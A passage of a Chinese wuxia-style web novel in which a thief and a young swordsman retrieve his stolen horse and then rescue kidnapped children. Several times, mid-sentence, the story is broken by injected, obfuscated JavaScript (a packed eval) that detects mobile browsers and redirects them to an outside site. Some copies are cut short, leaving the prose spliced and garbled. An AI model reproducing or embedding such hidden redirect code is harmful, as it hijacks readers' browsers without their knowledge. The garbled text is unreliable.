贺岁愉心中一紧,连忙要躬身行礼向赵九重道谢,但是她还没开口,就被赵九重一句话堵住了话头。 “小贼,我的马呢?” 贺岁愉想起被她偷偷牵走卖掉的马,冷汗直流。 她十分心虚:“恩公在说什么?我怎么会知道恩公的马的下落?” 赵九重冷哼一声,“少装!就是你偷了我的马!你若不交出来,我便再送你见官!” 沧州已经闹饥荒了,这个时候再被关在沧州的牢狱之中,无疑是送死。 她不能被他带去见官。 贺岁愉颤颤巍巍从怀里摸出八两银子,双手奉上。 她虽然害怕,但是为了能有饭吃,还是忍不住耍了个心眼子,给自己留了一两多银子。 赵九重没反应过来,皱眉,语气不善道:“你这是什么意思?” 贺岁愉硬着头皮说:“小人罪该万死,少侠的马被……被我换了银子。” 赵九重大怒:“你?!” 他气得抬起手。 贺岁愉以为自己要挨打了,下意识瑟缩了一下。 赵九重虽然生气,但是可能是怕她这个小身板受不住他一掌,最终还是没对她动手。 待看清贺岁愉捧在手里的可怜的八两银子,他气得大怒,咆哮道:“我那么好一匹麒麟马,八十两都买不下来,你就换了八两银子?” “啊?”贺岁愉愣住。 赵九重是真的气得发抖了,大骂道:“你这不识货的蠢人!蠢人!” 贺岁愉懵了头,知道双方实力悬殊,姓赵的这身功夫,一拳头下来她就没命了,只得唯唯诺诺低下头任凭他骂。 气了好一会儿,赵九重才缓过来,板着脸冷冷道:“你去给我要回来,现在就去!” 贺岁愉连忙道:“是是是,小人这就去。” 贺岁愉一转身,发现赵九重也跟了上来。 她心中一紧,“恩公这是?” “我自然是跟着你一起去要回我的马。” 贺岁愉赔着笑,“这点小事,小人去就好了,不必劳恩公多跑一趟。” “我若不去,你卷着银子又跑了怎么办?”赵九重抱着胳膊,重重地哼了一声,“你这小贼不安分的很,我得看好你!” 贺岁愉脸色白了一下。 虽然暂时逃过一劫,但是她心里清楚,自己恐怕又有了新的难题。 先不说,那买马的老板十有八九不愿意将马换回来。现在最关键的是,一到了那老板处,这姓赵的岂不是就会知道她眛下了一两多银子? 贺岁愉心中思量,她到时候一定得小心点,别让那老板在姓赵的面前抖落出这件事。 - 到了贺岁愉今日上午卖马的地方, 赵九重在铺子外面等,贺岁愉进去跟老板说:“我们家主人心意又变了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977645|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想卖这匹马了,还请老板将那匹马还回来,我将您的银子还给您。” 贺岁愉留了个心眼,知道赵九重在外面等着,能听见她在里面说了什么,便故意不说多少钱,只说是把银子还回去。 如她所预料的那样,老板果然不愿意让她买回那匹马,他甚至不承认自己从她手里买过这么一匹马,蛮横地把人赶了出去。 贺岁愉站在门外,手足无措地朝赵九重走过去,“恩公,我……那老板不愿意将马换回来。” “你……”赵九重眉头皱得能夹死一只苍蝇。 他虽然烦躁不已,但心中清楚,这小贼身上只有几两黑心老板给的银子,靠这小贼,那马恐怕是买不回来的。 还是得他自己出马。 赵九重一脚踹开店门,怒气冲冲要去找那老板算账。 贺岁愉脸色一变,生怕两边对上话了,暴露了她昧下的那一两多银子。 于是,她也连忙跟在后面去了。 赵九重闹出的动静太大,老板连忙从后院出来了,大惊失色:“干什么?上门抢劫不成?” “你这黑心烂肺的马贩子,速速把爷的马还回来!”赵九重大喝一声。 老板心虚了一瞬,很快调整过来:“哪有什么你的马?我看你就是穷疯了来找事的!” 他插着腰大骂:“你真当老子做了这么多年马贩子是白做的?敢砸老子的门,老子叫你今天出不了这道门!” “来人啊!” 马贩子话音刚落,走出来两个彪形大汉,脸色不善地看着赵九重。 赵九重孤身一人出来闯荡江湖,自是有傍身的本事,也不怕他们两个。 几个人登时便动起手来。 赵九重看着不如大汉身形壮硕,但是有一身好功夫。 马贩子见他的人逐渐落了下风,也忍不住加入战局,抄起大刀砍赵九重,都没能伤到赵九重。 没一会儿,赵九重便将三个男人制服。 他们横七竖八倒在地上,爬都爬不起来。屋子里的桌子椅子也砸得七七八八,满地狼藉。 赵九重走到老板面前,一脚踩住黑心老板的胸口。 马贩子痛呼一声,“噗——”地又喷出一口血来。 贺岁愉远远躲在一边,看得触目惊心,心中暗自庆幸,幸好这姓赵的没对她动手。 “现在能把我的马还回来了吗?”赵九重一只手随意搭在膝盖上,居高临下地问。 “好汉饶命!好汉饶命啊!”马贩子痛哭流涕,“不是小人不还,实在是那马已经卖出去了,小人没办法还给好汉啊!” “卖了?”赵九重大怒,“卖给谁了?” 马贩子嗫嚅道:“卖给城北梅花巷子的王家二老爷了。” 赵九重转身就走。 马贩子终于松了口气,感觉自己从阎王爷手里回来了。 贺岁愉也松了口气,她昧下的一两银子保住了。 她正走神,赵九重忽然回过头来,目光如炬地看向贺岁愉,“偷马的,还不跟上,你难不成想溜?” 贺岁愉连忙要抬步跟上,赵九重却不动了。 他忽然又想起一件事,于是,把视线移回马贩子身上。 马贩子刚从地上爬起来,察觉到赵九重不善的目光,腿一软,又趴在了地上。 “少侠,还有何事啊?”他颤声问。 赵九重负着手,提步走回来。 贺岁愉不知为何,心里猛地浮现一种不妙的感觉。 5. 讨要 赵九重又一脚踩上了马贩子的胸口,“我的麒麟马,你花八两银子就骗去了?” 马贩子猛地咳嗽一声,一脸懵地问:“什么八两银子?” 贺岁愉脸色一变,还没等她想出什么补救的法子,就听马贩子慌忙辩解说:“是十两啊,小人出了十两银子!” “十两银子?”赵九重蹙眉,“不是八两银子?” “是十两啊!小人指天发誓!绝对是十两!”马贩子斩钉截铁道。 贺岁愉如坠冰窟。 赵九重转过头,看向脸色苍白的贺岁愉。 贺岁愉紧张地吞咽了一下,看到赵九重看过来的眼神,不由得心中一凛。 完了,她今天不会跟这几个马贩子一起被打死吧? 她要不要现在就跪下来声泪俱下地求饶? 赵九重眯了眯眼睛,语气不爽地说:“你这小贼,花招不少啊!” “恩公,我……我……” 这件事贺岁愉的确无可辩驳,她再怎么狡辩也脱不开,于是她灵关一闪,想出了个转移视线的法子。 “恩公,可是十两银子也配不上您的麒麟马啊!” 她指着马贩子,义愤填膺地指责道:“这黑心烂肺的马贩子用十两就骗去了您的宝马!这简直是侮辱!” 赵九重倒不至于真的被贺岁愉几句话就转移了视线,只是他心里清楚,现在的第一要务是拿回自己的马,一个穷得叮当响的小贼没什么用处,只有这马贩子才能派上用场。 赵九重一把揪起马贩子,“跟我去梅花巷子,把我的马要回来!” 青年实力强横,马贩子只能含泪答应。 贺岁愉正往墙角缩,想找个机会溜。 赵九重如鹰隼一般锐利的眼睛一下就锁定了她,“你也别想跑。” 贺岁愉登时被定在了原地。 事已至此,她只能含泪跟着一起去梅花巷子了。 - 到了城北的梅花巷子王家, 马贩子在赵九重的威慑下,硬着头皮上前去敲门。 王家家境殷实,是附近数得上名号的富户,不然也不能在这个世道随随便便就买走这样一匹好马。 富人门前看门的狗都要比别的狗高傲三分。 贺岁愉三人等了好一会儿,王家的下人才慢悠悠地打开大门,瞥了马贩子一眼,“你找谁?” “我找王二老爷。”马贩子弓着腰谄媚地说。 下人上上下下打量了一番马贩子不太体面的穿着,显然并不把马贩子放在眼里,脸上尽是不耐之色,“你是谁?” “我是卖马的陈老五啊,王二老爷今儿个中午才从我那里买走了一匹上等的宝马。” 马贩子正说话,余光中看见一旁赵九重凌厉的目光,想起刚刚被痛揍的滋味,吓得又是一激灵。 于是,他连忙冲王家下人拱手道:“还请小哥帮我通传一番,请二老爷见小人一面。” “等着吧。” 王家下人丢下这么一句话,就又关上了大门。 贺岁愉三人等了很久,那下人都没再出来。 在赵九重的威吓下,马贩子陈老五不得不再次上前去敲门。 这次出来的比上次还慢。 下人打开门,一看是陈老五,便劈头盖脸一句,“二老爷不在,你下次再来吧。” 说着,那下人就“砰——”一声关上了大门,动作快得都差点夹到陈老五的鼻子。 马贩子摸了摸险些遭殃的鼻子,回过头来,小心翼翼地看着赵九重,“少侠,你看这……” 赵九重抱着胳膊,“若是这王老二不在,那下人方才怎么不说?偏偏进去通报了以后,才说这王老二不在府中。” 马贩子心里也明镜儿似的,八成是王家二老爷故意不见他。 赵九重冷哼一声,“主家在不在府里,他一个当下人的难道不清楚吗?我看分明就是他知道这马的来路不正,躲着不敢见人!” 马贩子脸色尴尬,擦了擦额头上的冷汗,小心翼翼地陪着笑。 贺岁愉也不敢说话,毕竟这事儿说到底,还是她闯出来的祸。 王家二老爷不见人,马贩子没办法,贺岁愉和赵九重也没办法,总不能砸开大门进去抢吧。 王家家大势大,就他们三个也闯不进去啊。 那么难得的一匹好马,如今进了别人的府里,还要不回来,放谁身上肯定都生气。 赵九重不说话,盯着王家紧闭的大门,浑身的冷气直往外冒。 在凛冽寒风中,这一片地方更冷了。 贺岁愉和马贩子瑟瑟发抖站成一排,生怕赵九重气疯了当场杀人。 - 在寒风中站了好一会儿,贺岁愉忍不住打了好几个喷嚏。 “阿嚏——阿嚏——” 陈老五下意识离她站得远了一点。 贺岁愉:“……” 这黑心的马贩子有多趋利避害,在这一刻真是展现得淋漓尽致。 陈老五摸了摸冻得僵硬的胳膊,试探性地开口:“少侠,你看这……咱们也进不去,要不然就先回去吧?” 赵九重还是没说话,大概是气狠了,现在都回不过神来。 陈老五舔了下开裂的嘴唇,“少侠应该还没用晚膳吧?要不我做东请少侠喝酒,这件事儿就让它这么过去吧?” 说到后面,他大概是知道自己理亏,心虚得连声音都越来越小了。 赵九重还是没说话。 陈老五眼珠子转了转。 贺岁愉一直盯着他,自然知道他的这些小动作。她敏锐地感觉到,陈老五想溜。 果然,陈老五放轻了脚步,往后挪了一大步。 贺岁愉大喝一声,“你想跑!” 陈老五听到贺岁愉的声音没有停下来,反而大步朝远处跑去。 赵九重转过身来,动作快得几乎看不清,几个跨步上前,就一脚把陈老五踹飞了出去。 “哎哟——”陈老五撞在墙上,痛得惨呼一声。 赵九重目光冷冷地看着他:“你一顿酒就想值八十两?” 陈老五额头撞得鲜血淋淋,毫无形象地趴在地上求饶,“少侠,下人知错了,都怪这小贼,偷了您的马蒙骗于我,我才把少侠的宝马转手卖出去的啊!” 贺岁愉大惊。 这陈老五把他自己倒是撇得干净。 她连忙道:“这马贩子绝对是知情的,不然他不能那么快就把你的马卖出去,早上刚买下午就卖出去,他分明是做贼心虚、急着出手啊!” 在赵九重绝对的武力值面前,陈老五和贺岁愉为了不挨打,于是互掐起来,都把脏水往对方身上泼。 “我……”陈老五听了贺岁愉的话,吓得脸色都白了,连忙解释说,“我不是……是王二老爷凑巧瞧上了那匹马……” “好了!”赵九重烦躁地打断二人的争辩,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977646|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向陈老五,“那匹马你卖给王老二多少钱?” 陈老五表情有点紧张,“这……” 好一会儿,他都支支吾吾不肯回答。 赵九重耐心早就耗尽,厉喝一声:“说!” 陈老五吓得一个激灵,伸出手,小心地捏了个拳头,“这、这个数。” 贺岁愉脸色一变,惊讶得嘴巴都张大了,瞪着眼睛看陈老五:“好啊,你十两银子从我这儿买过去,转手卖一百两银子?” 她简直恨得咬牙切齿,忍不住狠狠踢了他一脚,“你个杀千刀的马贩子!怎么没叫银子砸死你!” 赵九重倒是早有预料的样子。 毕竟,这匹马价值几何他心中有数。 在商贸繁华的洛阳尚且八十两买不下来,何况是在偏远的沧州了,只要识货,那价格必然只高不低。 他伸出手,“银子拿来。” “啊?”陈老五大惊失色。 贺岁愉也惊讶地看向赵九重。 心中琢磨着,难不成这姓赵的知道马拿不回来了,便想抢了这一百两银子? 不止贺岁愉如此想,陈老五也是这样想的,所以他便后悔不迭,早知道刚刚该把这个数说小一点的。 赵九重打眼一瞟就知道这奸滑的马贩子在想什么,“你最好老实点儿,要是被我发现你没说实话,到时候——” 他俯身,一把薅住了他的头发往上拔,声音重了几分,“爷就摘下你的脑袋当球踢!” 陈老五痛得“哎哟哎哟”直叫唤,仰着头跟着赵九重的力道走,“少侠饶命,少侠饶命啊!小人绝对句句属实啊!” - 最终,赵九重从陈老五那儿拿回了卖马得来的银子。 贺岁愉就没见过这么多银子,一时间,眼睛像是粘在了银子上,移都移不开。 赵九重转头看着贺岁愉:“那十两银子呢?” 贺岁愉大吃一惊。 不、不是吧? 姓赵的如此贪得无厌?已经从马贩子这里抢了一百两银子了,竟然还不知足,连她手里这几两银子都要一并抢走? 虽然不服气,但是由于畏惧赵九重的武力,贺岁愉还是不甘不愿地把剩下的银钱交给了他。 赵九重点了一下铜钱,对不上数。 见贺岁愉偷偷摸摸又想趁机溜,他强硬地一把拽住贺岁愉的手腕,“还有的呢?” 贺岁愉痛呼一声,挣扎了下没挣开,只得如实解释:“买了个包子花了二十文,只剩这么多了。” “你没私藏?”赵九重怀疑地看着她。 贺岁愉急了,“我真没有!” 赵九重也清楚如今城中的物价离谱,知道贺岁愉拿不出更多的钱了,便没再追究。 他将这九两银子并一大把铜钱交给了陈老五。 陈老五下意识接过银子,但是完全没反应过来赵九重这是什么意思。 贺岁愉也有点儿懵。 难道……他不是要抢过来这些银子霸占在自己手里? “你,”他转头看向贺岁愉,“跟我再去王家一趟。” “啊?”贺岁愉更不懂了。 不是在王家已经吃过闭门羹了?再去一趟又有什么用,难不成王家还会看在银子的面子上把马还回来? 那王家二老爷一百两银子买下那匹马一定也是占便宜的,不然不会不见人。他要是愿意换回来,刚刚就不会把陈老五拒之门外了。 6. 偷马 夜半三更, 月亮被厚厚的乌云遮住,大街小巷一片黑暗,万籁俱寂,只有寒风呼呼刮过的声音。 一高一矮、一健壮一纤瘦的两个身影出现在王家附近。 ——是赵九重以及被赵九重抓过来的贺岁愉。 赵九重并没有去下午他们和陈老五一起去过的正门,而是绕到了王家的后院。 贺岁愉就跟在他身后两三步的地方,被寒风吹得打了个哆嗦,忍不住缩了缩脖子。 虽然她和姓赵的隔了几步距离,但是有下午陈老五的例子在前面,贺岁愉清楚,以她的能力,想在姓赵的手下偷跑,根本不可能。于是,她只能老老实实跟在后面听从安排。 也不知姓赵的想做什么,在附近转了好几圈了,不知道在看什么,也不进去。 贺岁愉正想着,忽然,赵九重从围墙上翻了过去。 风声猎猎,吹响他的衣袍,在黑夜中像展开的翅膀。 她听到声音,刚一抬眼,那矫健的身影就已经从围墙上方消失了,随即,很轻的一声隔着围墙传来,大概是他平稳落地了。 很快,在寂静的黑夜里,“吱呀——” 旁边一道小门开了。 “进来。”赵九重刻意压低了的声音从角门黑洞洞的入口传来。 贺岁愉愣了一下,略有犹豫地走过去,跟在他身后进了王家的后院。 “我去马厩里牵马,你去望风,要是有人靠近后院马厩,你就立刻过来告诉我。”赵九重吩咐道。 贺岁愉还在记恨姓赵的抢走她银子交给马贩子陈老五的事,不情不愿地应了一句。 “别想着耍花招。”赵九重威胁说,“你若是再耍花招,我就再把你送进大牢里。” “知道了!”贺岁愉不服气道,“就晓得拿蹲大牢威胁我!你如今偷马,你不也应该进大牢么?” “谁说我是偷?”赵九重哼了一声。 都翻进别人家后院了,还能狡辩?贺岁愉惊诧,下意识抬眸看他,却被一抹银光晃了眼睛。 被乌云遮住的月亮露出半边脸颊,清浅的月光洒落下来,而晃到贺岁愉眼睛的银光是从赵九重手上折射过来的。 赵九重手腕微抬,轻轻抛了一下手里的银元宝。 贺岁愉惊讶过后,恍然大悟,原来他问陈老五把这卖马的银子要过来,不是要独占,而是准备用在这里的。 ——他还是想要用王老二买马花的一百两银子把他的马换回来。 不过想明白以后,她又觉得这姓赵的真是个傻子,白花花的银子不要,却拱手送给他人。他明明可以既要银子又要马的。 而且那马贩子陈老五和这王家的王老二摆明了可都不是什么好人,他还恪守着那一套君子之道,巴巴地给人送银子。 还抢了她的银子还给陈老五。 贺岁愉反应过来,这样说起来,就她吃亏了,折腾老半天,什么也没捞着,还被包子铺那可怕的两口子盯上了。 太气人了。 姓赵的果真和她八字不合。 - 赵九重找马厩去了,贺岁愉气闷地蹲在一个水缸后面,在心里骂赵九重。 忽然,寂然无声的院子里响起了木门被推开的声响。 有人出来了。 贺岁愉探头一看,好嘛,还是两个人。 贺岁愉有些紧张地看着他们,不知道他们大半夜出来做什么,不会是要检查马厩吧? 结果,两个人走到大树下站定,忽然掀起了衣裳,开始解裤带,贺岁愉看不真切,但听到了那边发出的一阵水流声。 贺岁愉:“……” 她默默收回了目光。虽然黑咕隆咚也看不清楚什么。 原来是两个住在后房的下人半夜出来小解。 “扑簌簌——” 此时,马厩那边忽然传来了声音。 “你有没有听到什么声音?”一个下人问。 “好像是有点儿。”另一个下人抖了抖,一边提裤子一边说道。 “去看看,二老爷新买的那匹宝贝马可不能出问题。” 说着,那下人便抬步要往马厩走。 贺岁愉心惊胆战看了一眼,正纠结要不要去提醒赵九重时,她灵机一动,学了两声猫儿叫,“喵——喵——” 她以前参加过宿舍举办的学猫叫大赛,并且以绝对的实力碾压几个舍友,赢得了冠军,所以学起猫叫来得心应手,几乎可以以假乱真。 那下人听到猫叫声,果然止住了脚步,“原来是只野猫。” “如今正是猫儿发情的季节,想是哪只母猫半夜想公猫想得睡不着,寻公猫寻到了马厩里吧。”说着,那下人猥琐地笑了两声。 贺岁愉:“……” 她趴在大水缸后面,咬牙切齿在心中骂了两句。 两个下人以为是猫儿叫,便转身往回走。 说完了母猫,两个男人的话题顺势转到了女人身上。 “前院的秋桂昨儿个还在我面前搔首弄姿,身段儿倒是俏,但是老子看见她那一脸坑坑洼洼的麻子实在是倒胃口。”下人语气颇为炫耀。 能吸引到女人的确是可以作为一种得意的谈资,尤其是像他们这种身份卑贱、又别无长处的男人,是展现雄性魅力最方便的法子。 “秋桂算什么身段俏,”另一人驳斥他,吸了吸口水说,“要论起身段儿还得看前院的红儿,那叫一个销魂,真是叫人死在她身上都心甘情愿……” 说罢,那下人又猥琐地低声笑起来。 “红儿?”下人嗤笑道,“二老爷床上伺候的,能不俏吗?你小子也敢肖想?让二老爷知道了,不扒了你的皮?” 男人嘿嘿笑了两声,“吃不着,看看还不行了?” “我可是拿你当兄弟才跟你说这些,你可不要拿出去乱说……” 贺岁愉无语地正听着两个下人粗鄙的谈论。 突然,“砰——”地一声, 贺岁愉一个激灵,顿时精神了。 那两个下人也吓了一跳。 “是马厩那边!” 说着,两人便着急地朝马厩那边跑去。 贺岁愉赶紧往水缸后面挪了挪,没让两人瞧见自己。 这可不是她不去通风报信,而是事发突然,这俩人跑这么快,她根本没有报信的机会。 明目张胆从这俩下人面前跑过去不是找死吗? 那俩下人朝马厩去了,估计会把姓赵的捉个正着。 她还是明智一些,趁机逃跑,留那姓赵的自己解决这烂摊子,反正偷马的是他又不是她,被王家下人打死都不管她的事。 她站起身,朝刚刚进来的后门跑过去,这才发现,后门被锁上了。 贺岁愉愣了下。 这姓赵的什么时候锁的后门? 好啊!他如此提防她?带她进来就把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那马并不安分,刚出了马厩就要打响鼻,赵九重连忙一把捂住马鼻,“嘘——安静!” 贺岁愉也吓了一跳。 她回过头看着这匹马,恨恨磨了磨牙,这马和它的主人一样,真让人讨厌。 - 摸着黑,二人轻手轻脚地走到后院角门口, 贺岁愉站定,没好气道:“开门。” 赵九重大概很少干这种事情,轻轻咳了一声,神色不大自然地上前,从袖子里摸出一根铁丝,三两下就撬开了木门上挂着的老旧铁锁。 贺岁愉看得目瞪口呆。 这小子还有这本事呢? 有一身好功夫,还会撬锁。 怪不得……她还奇怪,他没钥匙是如何把门锁上的,原来是这么搞的啊。 贺岁愉记恨着她被锁在王家后院的事情,站在他背后,语气凉凉道:“你不当土匪和盗贼真是可惜了。” 赵九重还是太正直了,知道自己这事儿干得不算厚道和老实,加上贺岁愉刚刚的确是帮了大忙,便好脾气地由着贺岁愉说两句,也不反驳。 7. 行侠 二人从王家后院离开。 马蹄声在空寂的街道上响起,发出均匀轻快的节奏。 此时,天边微白,天已经快亮了。 贺岁愉一连着打了好几个哈欠,困得眼睛都睁不开,头也痛。 她揉着酸痛的肩颈,默默翻了个白眼,拜姓赵的所赐,真是无比充实的一夜。 走了一段路以后,赵九重忽然停下了脚步,马蹄声也随之停下来。 晨雾弥漫,凌晨的寒气藏匿在雾气中,像冰凉的灰色薄纱,朦胧地落在人的身上,似有若无。 牵回了自己的宝贝马,赵九重心情肉眼可见的不错。 青年站在空旷的路口,侧头看她,眼中如星辰熠熠,“好了,我们就此别过,之前的恩怨也一笔勾销。” 贺岁愉愣了下,反应过来,赵九重这意思是,不追究她之前牵走他的马去卖掉的事情了。 纵然贺岁愉不太想承认,但是也不得不说,姓赵的的确是个宽厚大度的人,既不贪财,又侠肝义胆。 她没多问他的打算,虽然他们刚刚也算是共患难了,但关系算不上好,多问一句都显得逾越了。 她点点头,干脆地应了一声:“好。” 说罢,贺岁愉也不多留恋,便要转身离开。 她虽然牵走了赵九重的马,但是也跟他一起夜半三更把马牵了回来,她卖马的银子也被赵九重拿去还给了陈老五。 她也不欠赵九重什么了。 说起来,她忙忙碌碌、辛辛苦苦大半天就买了个肉包子,那包子还没吃进自己嘴里就被抢了。她还觉得吃亏呢! 不过,一想到那肉包子是什么肉。 贺岁愉又不免庆幸,幸好被抢了。 贺岁愉一边在心里乱七八糟地复盘着,一边往前走,忽然听到巷子里传来小孩子清脆的哭声。 但是这哭声很短暂,只有一瞬间,然后就戛然消失了,仿佛只是她的错觉。 她的脚步一顿。 贺岁愉悄悄靠近了那条巷子,躲在巷口看里面发生了什么。 接着,她在巷子里看到了那天的那个穿着体面的老头子。 那老头子插着腰站在两辆大马车旁边,压低声音呵斥那些装车的仆从们,“快点儿!都手脚麻利些!” 仆从们进进出出,从巷子最里面那户人家的院子里抬出来很多大箱子,然后装进大马车里。 贺岁愉不相信刚刚听到的声音是她的错觉。她本能地觉得,那些箱子一定有问题。 果然,两个仆从抬着一个大箱子出来时,那个箱子的一角渗出红色的液体,沿着箱子的边缘往下滴落。 贺岁愉看着那鲜红的液体,瞳孔一震。 那是什么?是血吗? 贺岁愉慢慢缩回了身子,贴在冰冷粗糙的墙壁上,平复无比慌乱的心跳。 一阵冷风吹过来。 她打了激灵,反应过来,她应该立刻离开这里,不然恐怕要给自己招来祸事。 想到这里,她立刻转身要走。 结果,刚一转身,就撞上了人。 “嘶——” 她吃痛,抬起头一看,是姓赵的。 每次遇到他,就准没好事。 她又急又气,压低声音质问:“你怎么又回来了?” 赵九重一脸严肃,审视着贺岁愉,不答反问:“你鬼鬼祟祟的干什么?” 贺岁愉知道,他又在怀疑自己是不是要偷东西。 她气道:“我没想偷东西!” 说罢,她忍不住狠狠翻了个白眼,没好气道:“而且我偷不偷东西,管你什么事儿?全天下的银子都是你的呗!你那么关心!” 赵九重见她反应如此激烈,也知道自己刚刚恐怕是误会了人家,不好意思地摸了摸鼻子。 “那你在做什么,刚刚神情那么……慌乱?”赵九重停顿了一下,才找出来一个勉强适配的形容词。 贺岁愉靠在墙上,朝巷子口抬了抬下巴,“那里面有问题。” “什么问题?” 赵九重显然还没有意识到事情的严重性,只以为她在随口说一件小事而已。 他顺着贺岁愉指的方向,悄悄往巷子里瞟了一眼,看见几个男人来来往往从院子里搬箱子出来。 并没有什么问题,不就是人家搬家么? 贺岁愉知道他没看出来什么不对劲,便直接把自己刚刚听到的、看到的都讲出来了。 “我刚刚走到这个巷子口时,听到了一声短促的小孩儿哭声。而且,他们刚刚抬出来的那个大箱子,底下在流血。”贺岁愉语气平静,听不出来喜怒。 赵九重一下就明白了贺岁愉的意思,眸光一闪,“你是怀疑那些箱子里装的是人?” 既然已经说得这么清楚了,对方也明白了她的意思,贺岁愉没什么要说的了。 她没再说话,转身要走。 “诶你——”赵九重没料到贺岁愉突然要走,下意识抓住了她的胳膊。 贺岁愉抬头瞪他,“你做什么?” 赵九重惊讶:“你这就走了?” 贺岁愉感到莫名其妙:“那不然呢?” “是你说,那箱子里装的很可能是人……” 赵九重话还没说完,贺岁愉就迅速撇干净,“我可没说,我只是说了我听到的和看到的。” “他们鬼鬼祟祟地把人装在箱子里然后装进马车里,一看就有问题,你这就不管了?” 贺岁愉奇怪地看他:“跟我有什么关系?” 赵九重莫名地生出一点怒气,“你!” 贺岁愉抱着胳膊,一脸理所应当道:“行侠仗义是你这种有武功傍身、能孤身闯荡江湖的人应该做的事情,和我这种手无缚鸡之力的人有什么关系?” 赵九重脸色一变,对贺岁愉的话颇为不齿,怒斥:“男子汉大丈夫,却连一点担当都没有!懦夫!” 贺岁愉不可思议地看了他一眼,看见他一脸愤慨,都气笑了。 她懒得再跟他争,抬步就走。 这次,赵九重死心了,或者是对贺岁愉彻底失望了,没有再抓住她的胳膊。 贺岁愉心道:这样最好,在弱肉强食的乱世,她尚且连自己都保全不了,哪有余力拯救别人? 心够冷够硬够狠,才能活下去。 她大步朝前走,加快了脚底的步伐。 忽然,赵九重对着她的背影喊:“你真坐视不理啊?” 贺岁愉顿了一下。 脑海中闪过那道短促的小孩子哭声和箱子底下流出的血,犹豫了一下。 但是理智恢复以后,又想起来,巷子里有那么多人,她这弱不禁风的身板儿,还一晚上没吃饭没睡觉,冲上去不就是送死么? 而且,她现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵九重身手敏捷地跳下马车,赶在他们跑出来之前把他们堵在了院子门口,他虽然功夫不错,但是耐不住对方人实在太多。 他孤身一人,想要解决院子里这么多人几乎是不可能的,而且对方还有武器,他最多能做到暂且拦住他们,实在抽不出余力去救箱子里被绑住的那些孩子们。 赵九重渐渐地体力不支,感到了一阵心有余而力不足。他身上添了许多大大小小的伤口,上衣几乎被鲜血染了个遍。 巷子里有其他人家听到了巷子最里面那户人家门口吵闹的动静,有的人家开了门来看,但是看到打打杀杀的情形,又连忙回了自己院子,紧紧关上了大门。 此刻,他完全是孤军奋战。 那领头的仆从见赵九重形容如此狼狈,而且明显的力不从心了,大笑着道:“小子,多管闲事可是要付出代价的!” 赵九重顾不上说话,累得胸口起起伏伏,手上的动作丝毫不敢停歇,稍有停滞,一不小心,就要叫对方的刀剑戳成筛子。 他甚至已经想到,或许他会丧命于此。 忽然,身后传来一声大喝—— “姓赵的,你挺住啊你!” 8. 共骑 赵九重不必回头,便听出来,这是方才明明已经离开的那人。 看来这小贼良知未泯,还不算无可救药。 想到这里,青年因为失血而显得格外苍白的脸上,绽开了难得的笑容。 贺岁愉看见以后,都要急死了,都什么时候了,他顶着一身血还笑得出来,早知道他是这么个情形,她就不回来送死了。 她也是贱,走都走了,又跑回来。 真是脑子被驴踢了。 不过,现在后悔也已经晚了。 在贺岁愉那一声厉喝以后,赵九重顿时精神大振,他一把夺过那仆从的刀,横砍回去,当即削下了那人的脑袋。 “啊呀!”人群中发出了惊呼声。 那群仆从的头儿见赵九重突然像打了鸡血一样,又惊又怒,扯着嗓子大叫道:“上!给我杀了他!” 赵九重以一当十,与院子里的仆从们混战,贺岁愉赶紧朝马车跑去,爬上马车去打开那些箱子,打开了箱子又赶紧解开绳子,让孩子们从箱子里出来。 她最先发现了刚刚被赵九重打开的那个箱子。 她一上马车,那箱子里躺着的小女孩就睁着一双黑葡萄一样水灵的大眼睛定定地看着她。 贺岁愉一抬头,正对上那双眼睛,吓了一跳。 她拍了拍胸口,一边解开绑住小女孩手脚的绳子,一边着急地说:“你把马车里的箱子打开,把他们的绳子都解开,我还得去旁边那辆马车。” “绳子解开了就跑!赶紧分开跑,跑远些,然后找个地方藏起来!” “听明白了吗?” 小女孩立刻点点头,着手叫醒其他孩子,帮其他孩子解绳子。绳子被解开的小孩也跟着小女孩一起,解救剩下的人。 贺岁愉见状,迅速跳下马车,朝另一辆马车而去。 她渐渐平复了起伏的心情,随着动作的熟练,手上的速度也越来越快。 这些小孩儿都被喂了迷药,除了刚刚的那个小女孩是醒着的,剩下的都陷入了昏迷。 贺岁愉不但要解开绳子,还得把他们叫醒。 “解开绳子以后你们就赶紧跑,分散朝不同的方向跑,然后找地方藏起来,别让他们再捉住你们!”她着急地说。 孩子们都纷纷点头,一边慌乱说着谢谢,一边跳下马车,逃跑了。 贺岁愉费了好一番功夫,在大冷天的凌晨,热得满头大汗,才把所有活着的孩子救出来。 